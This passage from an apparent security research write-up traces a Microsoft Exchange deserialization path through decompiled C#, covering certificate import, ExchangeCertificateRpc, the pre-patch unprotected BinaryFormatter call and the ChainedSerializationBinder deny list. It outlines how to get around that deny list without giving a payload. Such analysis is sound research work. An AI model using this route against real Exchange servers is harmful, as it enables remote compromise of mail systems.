\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificate exchangeCertificate = new ExchangeCertificate(x509Certificate2Collection[0]); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UpdateServices(exchangeCertificate, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exchangeCertificateRpc.ReturnCert = exchangeCertificate; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return exchangeCertificateRpc.SerializeOutputParameters(rpcVersion); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (untrustedRoot) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateUntrustedRoot, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0array = Convert.FromBase64String(exchangeCertificateRpc.ImportCert); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FormatException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateBase64DataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2 x509Certificate = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509KeyStorageFlags x509KeyStorageFlags = X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag2 = password == null || password.Length == 0; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2Collection x509Certificate2Collection2 = new X509Certificate2Collection(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (exchangeCertificateRpc.ImportExportable) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509KeyStorageFlags |= X509KeyStorageFlags.Exportable; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate2Collection2.Import(array, flag2 ? null : password.AsUnsecureString(), x509KeyStorageFlags); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate = ManageExchangeCertificate.FindImportedCertificate(x509Certificate2Collection2); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (CryptographicException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Certificate == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(exchangeCertificateRpc.ImportDescription)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate.FriendlyName = exchangeCertificateRpc.ImportDescription; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Store.Certificates.Find(X509FindType.FindByThumbprint, x509Certificate.Thumbprint, validOnly: false).Count > 0) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateAlreadyExists(x509Certificate.Thumbprint), ErrorCategory.WriteError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store.Add(x509Certificate); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificate exchangeCertificate2 = new ExchangeCertificate(x509Certificate); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UpdateServices(exchangeCertificate2, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exchangeCertificateRpc.ReturnCert = exchangeCertificate2; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0finally \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store?.Close(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return exchangeCertificateRpc.SerializeOutputParameters(rpcVersion); \n \u00a0\u00a0\u00a0\u00a0} \n \n ...\n \n\nWe can see from this that most functions appear to be calling `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.ExchangeCertificateRpc()`. This has some interesting code relevant to deserialization:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.Collections.Generic; \n using Microsoft.Exchange.Rpc.ExchangeCertificate; \n \n public ExchangeCertificateRpc(ExchangeCertificateRpcVersion version, byte[] inputBlob, byte[] outputBlob) \n { \n \u00a0\u00a0\u00a0\u00a0inputParameters = new Dictionary<RpcParameters, object>(); \n \u00a0\u00a0\u00a0\u00a0if (inputBlob != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0switch (version) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version1: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0inputParameters = (Dictionary<RpcParameters, object>)DeserializeObject(inputBlob, customized: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version2: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0inputParameters = BuildInputParameters(inputBlob); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0outputParameters = new Dictionary<RpcOutput, object>(); \n \u00a0\u00a0\u00a0\u00a0if (outputBlob != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0switch (version) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version1: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outputParameters = (Dictionary<RpcOutput, object>)DeserializeObject(outputBlob, customized: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version2: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outputParameters = BuildOutputParameters(outputBlob); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere we can see that the `byte[] inputBlob` from earlier is passed to `DeserializeObject(inputBlob, customized: false)` in the case that `ExchangeCertificateRpcVersion` parameter passed in is `ExchangeCertificateRpcVersion.Version1`.\n\nOkay so already we know we have one limitation in that we need to set the `version` parameter here to `ExchangeCertificateRpcVersion.Version1` somehow.\n\nKeeping this in mind lets explore further and look at the `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject(inputBlob, customized:false)` call implementation.\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nInteresting so we can see that we create a new `MemoryStream` object from our `byte[] data` parameter and use this to create a serialization stream of type `MemoryStream`. We then check using `Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus` to see if `DeserializeLocation.ExchangeCertificateRpc` requires strict mode for deserialization or not and we set the boolean `strictModeStatus` to this result.\n\nFinally we create a binary formatter using `ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics)` and then call its `Deserialize()` method on the serialized `MemoryStream` object we created earlier using `byte[] data`.\n\nNote that before the November 2021 patch, this `DeserializeObject` function actually looked like this:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0BinaryFormatter binaryFormatter = new BinaryFormatter();\n \t\t\tif (customized)\n \t\t\t{\n \t\t\t\tbinaryFormatter.Binder = new CustomizedSerializationBinder();\n \t\t\t}\n \t\t\treturn binaryFormatter.Deserialize(memoryStream);\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n \n\nAs we can see the earlier code here was using `BinaryFormatter` to deserialize the payload without using a proper `SerializationBinder` or really any protection at all for that matter.\n\n## Looking At DeserializeObject() Deeper\n\nLets look at the November 2022 edition of `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject(inputBlob, customized:false)` again:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.IO; \n using Microsoft.Exchange.Data.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private object DeserializeObject(byte[] data, bool customized) \n { \n \u00a0\u00a0\u00a0\u00a0if (data != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream = new MemoryStream(data)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ExchangeCertificateRpc, strictModeStatus, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nWhat we want to check here now is the `ExchangeBinaryFormatterFactor.CreateBinaryFormatter` call. What does the code for this look like?\n \n \n // Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory \n using System.Runtime.Serialization.Formatters.Binary; \n \n public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0return new BinaryFormatter \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics) \n \u00a0\u00a0\u00a0\u00a0}; \n }\n \n\nAh our good old friend `ChainedSerializationBinder` and `BinaryFormatter`. Looks like we will need to create a `BinaryFormatter` serialized payload and `ChainedSerializationBinder` will be the validator.\n\nAs mentioned in the article to bypass this logic we need to ensure that `strictMode` is set to `False` and that we are not using any fully qualified assembly name in the deny list defined in `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization`, which will pretty much kill all publicly known .NET deserialization gadgets from ysoserial.NET.\n\nFor reference this is the code for `ChainedSerializationBinder` in November 2021 Update:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n using System.IO; \n using System.Linq; \n using System.Reflection; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n public class ChainedSerializationBinder : SerializationBinder \n { \n \u00a0\u00a0\u00a0\u00a0private const string TypeFormat = \"{0}, {1}\"; \n \n \u00a0\u00a0\u00a0\u00a0private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(string).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(int).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(uint).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(long).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ulong).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(double).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(float).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(bool).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(short).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ushort).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(byte).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(char).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(DateTime).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(TimeSpan).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(Guid).FullName \n \u00a0\u00a0\u00a0\u00a0}; \n \n \u00a0\u00a0\u00a0\u00a0private bool strictMode; \n \n \u00a0\u00a0\u00a0\u00a0private DeserializeLocation location; \n \n \u00a0\u00a0\u00a0\u00a0private Func<string, Type> typeResolver; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedTypesForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedGenericsForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private bool serializationOnly; \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization(); \n \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedGenericsForDeserialization { get; private set; } = BuildGlobalDisallowedGenericsForDeserialization(); \n \n \n \u00a0\u00a0\u00a0\u00a0public ChainedSerializationBinder() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0serializationOnly = true; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0this.strictMode = strictMode; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s))); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0location = usageLocation; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override void BindToName(Type serializedType, out string assemblyName, out string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string text = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string text2 = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0InternalBindToName(serializedType, out assemblyName, out typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (assemblyName == null && typeName == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0assemblyName = text; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeName = text2; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override Type BindToType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (serializationOnly) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException(\"ChainedSerializationBinder was created for serialization only.\u00a0\u00a0This instance cannot be used for deserialization.\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Type type = InternalBindToType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ValidateTypeToDeserialize(type); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected virtual Type InternalBindToType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return LoadType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected Type LoadType(string assemblyName, string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Type type = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = Type.GetType($\"{typeName}, {assemblyName}\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (TypeLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FileLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string shortName = assemblyName.Split(',')[0]; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = Type.GetType($\"{typeName}, {shortName}\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (TypeLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FileLoadException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n 